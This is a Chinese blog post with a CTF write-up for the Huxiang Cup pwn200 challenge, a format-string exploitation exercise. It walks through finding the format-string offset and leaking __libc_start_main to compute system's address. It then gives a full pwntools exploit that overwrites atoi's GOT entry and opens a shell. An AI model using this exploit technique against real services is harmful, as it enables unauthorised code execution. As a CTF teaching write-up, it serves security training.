美文网首页
格式化字符串

格式化字符串

作者: 2mpossible | 来源:发表于2017-12-19 00:02 被阅读0次

    格式化字符串漏洞网上讲的也很多,这里就不对漏洞进行解释了,直接讲怎么做题,以湖湘杯的pwn200为例子:

    拿到题目先checksec,看开了什么保护

    可以看到题目只开了Canary和栈不可执行,然后运行题目看看是什么效果

    然后拖进ida里面分析

    可以看到这里有个格式化字符串漏洞,那么我们下面就来利用它,首先用命令

    objdump -d -j .plt pwne
    

    可以看看我们可以利用的函数有什么,然后题目给了libc库,大致思路就是要从libc中找system函数,通过printf打印__libc_start_main函数这个地址,然后根据偏移计算libc的基地址,然后计算出system的实际地址,最后用fmtstr_payload(autofmt.offset, {atoi_got_addr: system_addr})把atio的地址覆盖为system的地址,就可以getshell了

    0x1算出所输入格式化字符串相对于栈上的偏移量

    • 暴力一点的话直接用AAAA.%p.%p.%p.%p.%p.%p.%p这样增加或者减少%.p来测试,当最后一个输出是你第一个输入的十六进制时就相当于偏移对了,所以此时的偏移为p的个数即为7
    • 或者我们可以用gdb调试来找到偏移量,首先在printf这里下个断点,然后看到栈上0028的位置就是我们的输入,28/4 = 7 (32位)就是我们print_got的偏移量
    • 想看栈上更多的就输入下面的命令,然后找到0140 / 7 = 35 (32位)是__libc_start_main的偏移量

      stack 50
      
    • 最快捷方便的就是写个脚本自动爆破偏移量,FmtStr是pwn自带的算出offset的函数

      def exec_fmt(payload):
        p.recvuntil('WANT PLAY[Y/N]\n')
        p.sendline('Y')
        p.recvuntil('GET YOUR NAME:\n')
        p.recvuntil('\n')
        p.sendline(payload)
        info = p.recv().splitlines()[1]
        print "info: "+info
        p.sendline('10')
        return info
      
      autofmt = FmtStr(exec_fmt)
      #print autofmt.offset
      

    0x2 通过泄漏的__libc_start_main的地址可以获得正确的libc库文件从而确定libc库内地址

    从而获取到了__libc_start_main_ret的偏移进而计算基址,获得system地址,

    下面是exp

    from pwn import *
    debug = False
    local = True
    x86 = True
    if debug:
        context.log_level = 'debug'
    else:
        context.log_level = 'info'
    if x86:
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    else:
        libc = ELF('x86_64-linux-gnu/libc.so.6')
    if local:
        p = process('./pwne')
    else:
        p = remote('baidu.com',1000)
    
    
    def base_addr(prog_addr,offset):
        return eval(prog_addr)-offset
    
    def exec_fmt(payload):
      p.recvuntil('WANT PLAY[Y/N]\n')
      p.sendline('Y')
      p.recvuntil('GET YOUR NAME:\n')
      p.recvuntil('\n')
      p.sendline(payload)
      info = p.recv().splitlines()[1]
      print "info: "+info
      p.sendline('10')
      return info
    
    autofmt = FmtStr(exec_fmt)
    #print autofmt.offset
    p.close()
    
    
    p = process('./pwne')
    elf = ELF('./pwne')
    atoi_got = elf.got['atoi']
    print "atoi_got: ",hex(atoi_got)
    system_offset = libc.symbols['system']
    print "system_offset: ",hex(system_offset)
    libc_start_offset = libc.symbols['__libc_start_main']
    print "libc_start_offset: ",hex(libc_start_offset)
    
    payload1 = "%35$p"
    p.recvuntil('[Y/N]\n')
    p.sendline('Y')
    p.recvuntil('GET YOUR NAME:\n\n')
    p.sendline(payload1)
    libc_start_addr = p.recv().splitlines()[1]
    print "libc_start_addr: ",libc_start_addr
    libc_module = base_addr(libc_start_addr,0x18637)
    system_addr = libc_module + system_offset
    print "system_addr: ",hex(system_addr)
    p.sendline("11")
    
    payload2 = fmtstr_payload(autofmt.offset,{atoi_got:system_addr})
    p.recvuntil('[Y/N]\n')
    p.sendline('Y')
    p.recvuntil('GET YOUR NAME:\n\n')
    p.sendline(payload2)
    p.recv()
    p.sendline('/bin/sh')
    
    p.interactive()
    

    相关文章

      网友评论

          本文标题:格式化字符串

          本文链接:https://www.haomeiwen.com/subject/andvwxtx.html